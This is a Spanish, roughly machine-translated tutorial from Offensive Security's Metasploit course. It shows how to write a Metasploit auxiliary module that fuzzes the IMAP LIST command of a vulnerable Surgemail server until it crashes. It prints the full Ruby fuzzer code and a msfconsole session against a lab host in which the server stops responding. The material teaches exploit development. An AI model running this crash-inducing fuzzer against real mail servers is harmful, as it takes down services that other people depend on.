Simple Fuzzer IMAP
De www.metasploit-es.com.ar
Simple Fuzzer IMAP
Durante una sesión de reconocimiento de vulnerabilidades descubrimos un servidor de correo IMAP que se sabe que es vulnerable a un ataque de desbordamiento de búfer (Surgemail 3.8k4-4). Hemos encontrado un aviso para la vulnerabilidad, pero no se puedo encontrar ningún metodo de explotacion trabajando en la base de datos Metasploit ni en Internet. Entonces decides escribir tu propia explotación a partir de una simple fuzzer IMAP.
Desde el asesoramiento en esto sabemos que el comando vulnerables es IMAP LIST y necesita credenciales válidas para explotar la solicitud. Como hemos visto anteriormente, el gran "arsenal de la colección" presente en MSF nos puede ayudar de forma rápida secuencia de comandos de cualquier protocolo de red y el protocolo IMAP no es una excepción. Por ejemplo MSF:: Exploit:: Remote:: IMAP nos ahorrará mucho tiempo. De hecho, la conexión con el servidor IMAP y realizar la autenticación de pasos necesarios para fuzz el comando vulnerables, es sólo cuestión de unas cuantas líneas de comandos ! Aquí está el código
##
# Este archivo forma parte del Marco de Metasploit y puede ser objeto de
# redistribución y restricciones comerciales. Por favor vea el sitio de
# Metasploit para más información sobre licencias y condiciones de uso.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Imap
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'Simple IMAP Fuzzer',
'Description' => %q{
An example of how to build a simple IMAP fuzzer.
Account IMAP credentials are required in this fuzzer.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $'
)
end
def fuzz_str()
return Rex::Text.rand_text_alphanumeric(rand(1024))
end
def run()
srand(0)
while (true)
connected = connect_login()
if not connected
print_status("Host is not responding - this is G00D ;)")
break
end
print_status("Generating fuzzed data...")
fuzzed = fuzz_str()
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
print_status(req)
res = raw_send_recv(req)
if !res.nil?
print_status(res)
else
print_status("Server crashed, no response")
break
end
disconnect()
end
end
end
Overiding the run() nuestro código se ejecutará cada vez que el usuario llama a "run" de msfconsole. En el while loop within run(), os conectamos con el servidor IMAP y autenticar a través de la función connect_login() importado de Msf::Exploit::Remote::Imap. Entonces llamamos a la funcion fuzz_str() que genera un tamaño variable de amortiguamiento alfanuméricos que va a ser enviado como un argumento del comando LIST IMAP a través de la función raw_send_recv. Guardamos el archivo anterior en el auxiliary/dos/windows/imap/ subdirectorio / IMAP y cargarla desde msfconsole como siguiente paso.
msf > use auxiliary/dos/windows/imap/fuzz_imap msf auxiliary(fuzz_imap) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- IMAPPASS no The password for the specified username IMAPUSER no The username to authenticate as RHOST yes The target address RPORT 143 yes The target port msf auxiliary(fuzz_imap) > set RHOST 172.16.30.7 RHOST => 172.16.30.7 msf auxiliary(fuzz_imap) > set IMAPUSER test IMAPUSER => test msf auxiliary(fuzz_imap) > set IMAPPASS test IMAPPASS => test
Ahora estamos listos para la pelusa de las personas vulnerables servidor IMAP. Atribuimos el proceso de surgemail.exe ImmunityDebugger y comenzar nuestra sesión de fuzzing:
msf auxiliary(fuzz_imap) > run [*] Connecting to IMAP server 172.16.30.7:143... [*] Connected to target IMAP server. [*] Authenticating as test with password test... [*] Generating fuzzed data... [*] Sending fuzzed data, buffer length = 684 [*] 0002 LIST () /"v1AD7DnJTVykXGYYM6BmnXL[...]" "PWNED" [*] Connecting to IMAP server 172.16.30.7:143... [*] Connected to target IMAP server. [*] Authenticating as test with password test... [*] Generating fuzzed data... [*] Sending fuzzed data, buffer length = 225 [*] 0002 LIST () /"lLdnxGBPh1AWt57pCvAZfiL[...]" "PWNED" [*] 0002 OK LIST completed [*] Connecting to IMAP server 172.16.30.7:143... [*] Connected to target IMAP server. [*] Authenticating as test with password test... [*] Generating fuzzed data... [*] Sending fuzzed data, buffer length = 1007 [*] 0002 LIST () /"FzwJjIcL16vW4PXDPpJV[...]gaDm" "PWNED" [*] [*] Connecting to IMAP server 172.16.30.7:143... [*] Connected to target IMAP server. [*] Authenticating as test with password test... [*] Authentication failed [*] Host is not responding - this is G00D ;) [*] Auxiliary module execution completed
MSF nos dice que el servidor IMAP probablemente ha estropeado y ImmunityDebugger confirma como se ve en la imagen siguiente:
© Offensive Security 2009
Original by www.offensive-security.com Traslated by tundervirld
